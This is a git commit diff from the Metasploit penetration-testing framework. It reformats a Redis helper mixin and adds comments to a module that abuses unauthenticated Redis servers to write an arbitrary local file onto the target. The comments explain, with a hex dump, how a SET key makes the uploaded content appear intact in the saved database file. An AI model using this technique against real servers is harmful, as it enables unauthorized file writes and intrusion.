Document the redis upload process more
parent
48a27170c2
commit
555e52e416
|
@ -1,70 +1,69 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/exploit'
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with redis
|
||||
#
|
||||
###
|
||||
module Auxiliary::Redis
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Auxiliary::Scanner
|
||||
include Auxiliary::Report
|
||||
|
||||
###
|
||||
#
|
||||
# Initializes an instance of an auxiliary module that interacts with Redis
|
||||
# This module provides methods for working with redis
|
||||
#
|
||||
###
|
||||
module Auxiliary::Redis
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Auxiliary::Scanner
|
||||
include Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6379),
|
||||
]
|
||||
)
|
||||
#
|
||||
# Initializes an instance of an auxiliary module that interacts with Redis
|
||||
#
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
|
||||
]
|
||||
)
|
||||
end
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6379)
|
||||
]
|
||||
)
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def read_timeout
|
||||
datastore['READ_TIMEOUT']
|
||||
end
|
||||
|
||||
def redis_proto(commands)
|
||||
return if commands.blank?
|
||||
command = "*#{commands.length}\r\n"
|
||||
commands.each do |c|
|
||||
command << "$#{c.length}\r\n#{c}\r\n"
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
|
||||
]
|
||||
)
|
||||
end
|
||||
command
|
||||
end
|
||||
|
||||
def report_redis(version)
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'redis',
|
||||
info: "version #{version}"
|
||||
)
|
||||
end
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def send_redis_command(*commands)
|
||||
sock.put(redis_proto(commands))
|
||||
data = sock.get_once(-1, read_timeout)
|
||||
return unless data
|
||||
data.strip!
|
||||
vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{Rex::Text.ascii_safe_hex(data, true)}")
|
||||
data
|
||||
def read_timeout
|
||||
datastore['READ_TIMEOUT']
|
||||
end
|
||||
|
||||
def redis_proto(commands)
|
||||
return if commands.blank?
|
||||
command = "*#{commands.length}\r\n"
|
||||
commands.each do |c|
|
||||
command << "$#{c.length}\r\n#{c}\r\n"
|
||||
end
|
||||
command
|
||||
end
|
||||
|
||||
def report_redis(version)
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'redis',
|
||||
info: "version #{version}"
|
||||
)
|
||||
end
|
||||
|
||||
def send_redis_command(*commands)
|
||||
sock.put(redis_proto(commands))
|
||||
data = sock.get_once(-1, read_timeout)
|
||||
return unless data
|
||||
data.strip!
|
||||
vprint_status("#{peer} -- redis command '#{Rex::Text.ascii_safe_hex(commands.join(' '), true)}' got '#{Rex::Text.ascii_safe_hex(data, true)}'")
|
||||
data
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -18,7 +18,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
Because redis is unprotected without a password set up.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Nixawk'],
|
||||
'Author' => [
|
||||
'Nixawk', # original metasploit module
|
||||
'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://antirez.com/news/96'],
|
||||
['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'],
|
||||
|
@ -60,6 +63,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return unless data.include?('+OK')
|
||||
|
||||
# set a key in this db that contains our content
|
||||
# XXX: this does not work well (at all) if the content we are uploading is
|
||||
# multiline. It also probably doesn't work well if the content isn't
|
||||
# simple ASCII text
|
||||
key = Rex::Text.rand_text_alpha(32)
|
||||
data = send_redis_command('SET', key, content)
|
||||
return unless data.include?('+OK')
|
||||
|
@ -88,7 +94,25 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def setup
|
||||
@upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" if datastore['LocalFile']
|
||||
# this is the content we will upload if not running 'check'. We are
|
||||
# setting a key/value pair in the database to something such that when the
|
||||
# redis db is saved, the contents of what we are uploading will appear
|
||||
# intact in the middle of the db itself. The hope is that something
|
||||
# interpretting this file will ignore or be OK-enough with the rest of the
|
||||
# file such that what we uploaded will be interpretted as if it contained
|
||||
# only the contents of what we uploaded. For example, here is a nearly
|
||||
# empty redis database that started with a single key (foo) value (bar)
|
||||
# pair, and the contents of what we uploaded was the current data:
|
||||
#
|
||||
# 00000000 52 45 44 49 53 30 30 30 31 fe 00 00 03 66 6f 6f |REDIS0001....foo|
|
||||
# 00000010 03 62 61 72 00 20 6a 6b 59 47 44 74 56 6a 68 53 |.bar. jkYGDtVjhS|
|
||||
# 00000020 6e 57 4f 78 76 58 72 73 6a 71 58 4f 43 52 43 6c |nWOxvXrsjqXOCRCl|
|
||||
# 00000030 66 4b 6a 54 73 47 1e 0a 54 68 75 20 44 65 63 20 |fKjTsG..Thu Dec |
|
||||
# 00000040 31 30 20 30 39 3a 30 35 3a 32 39 20 50 53 54 20 |10 09:05:29 PST |
|
||||
# 00000050 32 30 31 35 0a ff
|
||||
#
|
||||
# as you can see, the current date exists on its own on a separate line
|
||||
@upload_content = "\n#{IO.read(datastore['LocalFile']).strip}\n" if datastore['LocalFile']
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
|
|
Loading…
Reference in New Issue